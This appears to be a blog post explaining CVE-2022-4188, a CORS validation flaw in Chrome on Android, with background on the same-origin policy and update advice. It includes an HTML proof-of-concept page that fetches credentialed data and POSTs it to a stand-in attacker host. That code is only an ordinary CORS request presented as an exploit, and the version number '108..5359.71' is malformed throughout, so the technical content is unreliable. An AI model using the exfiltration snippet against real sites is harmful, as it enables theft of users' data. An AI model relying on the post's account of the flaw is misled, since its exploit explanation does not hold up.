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CVE-2022-4188: An In-Depth Examination of the CORS Vulnerability in Google Chrome on Android

Poster -

CVE-2022-4188 is a recent vulnerability discovered in Google Chrome on Android devices. It is characterized by insufficient validation of untrusted input in Cross-Origin Resource Sharing (CORS) prior to version 108..5359.71. This vulnerability allows a remote attacker to bypass the same-origin policy, potentially leading to unauthorized access or data exposure through a maliciously crafted HTML page. In this long-read post, we will dive deep into the details of this vulnerability, including code snippets, original references, and potential exploits. The Chromium security team has rated this vulnerability as having Medium severity.

A Brief on CORS

CORS is a security feature implemented in modern web browsers to prevent unwanted access and sharing of resources across different origin domains. It ensures that sensitive data is only accessible by trusted domains, preventing potential security threats and data breaches. The same-origin policy is a fundamental concept in web security, which states that web resources from one origin (domain, protocol, and port) can only directly interact with resources from the same origin.

Details of CVE-2022-4188 Vulnerability

The CVE-2022-4188 vulnerability stems from improper input validation in CORS implementation in Google Chrome on Android devices. This vulnerability affects all versions prior to 108..5359.71, making these devices susceptible to same-origin policy bypass attacks through specially crafted HTML pages.

Here is a code snippet representing a simple HTTP request that may be affected by this vulnerability

fetch("https://vulnerable-service.example.com/data";, {
  method: "GET",
  mode: "cors",
  credentials: "include",
  headers: {
    "Content-Type": "application/json"
  }
})
  .then(response => response.json())
  .then(data => console.log(data))
  .catch(error => console.error(error));

Exploit Details

An attacker could exploit this vulnerability by crafting a malicious HTML page that sends an HTTP request with manipulated headers to the target domain. Due to the insufficient input validation, the browser may accept the response without proper checks, leading to a same-origin policy bypass.

For example, a crafted payload like the one below, hosted on a malicious website, could potentially trick the browser into leaking sensitive data:

<!DOCTYPE html>
<html>
<head>
  <script>
    function exploit() {
      fetch("https://vulnerable-service.example.com/data";, {
        method: "GET",
        mode: "cors",
        credentials: "include",
        headers: {
          "Content-Type": "application/json"
        }
      })
        .then(response => response.json())
        .then(data => {
          // Send the leaked data to the attacker's server
          fetch("https://attacker.example.com/leaked-data";, {
            method: "POST",
            body: JSON.stringify(data)
          });
        })
        .catch(error => console.error(error));
    }
  </script>
</head>
<body>
  <button onclick="exploit()">Click me to exploit the vulnerability</button>
</body>
</html>

This example demonstrates how an attacker could use a simple button click event to trigger the exploit and potentially exfiltrate sensitive data to their own server.

1. Chromium security release note: Chromium Security Updates: Stable channel update for Desktop
2. NIST National Vulnerability Database: CVE-2022-4188 Detail
3. CORS on MDN Web Docs: Cross-Origin Resource Sharing (CORS)

Conclusion

CVE-2022-4188 is a medium-severity vulnerability in Google Chrome on Android due to insufficient input validation in CORS implementation. The vulnerability allows remote attackers to bypass the same-origin policy through maliciously crafted HTML pages. Users should update their devices to the latest version of Chrome (108..5359.71) to mitigate the risk.

Timeline

Published on: 11/30/2022 00:15:00 UTC
Last modified on: 05/03/2023 12:16:00 UTC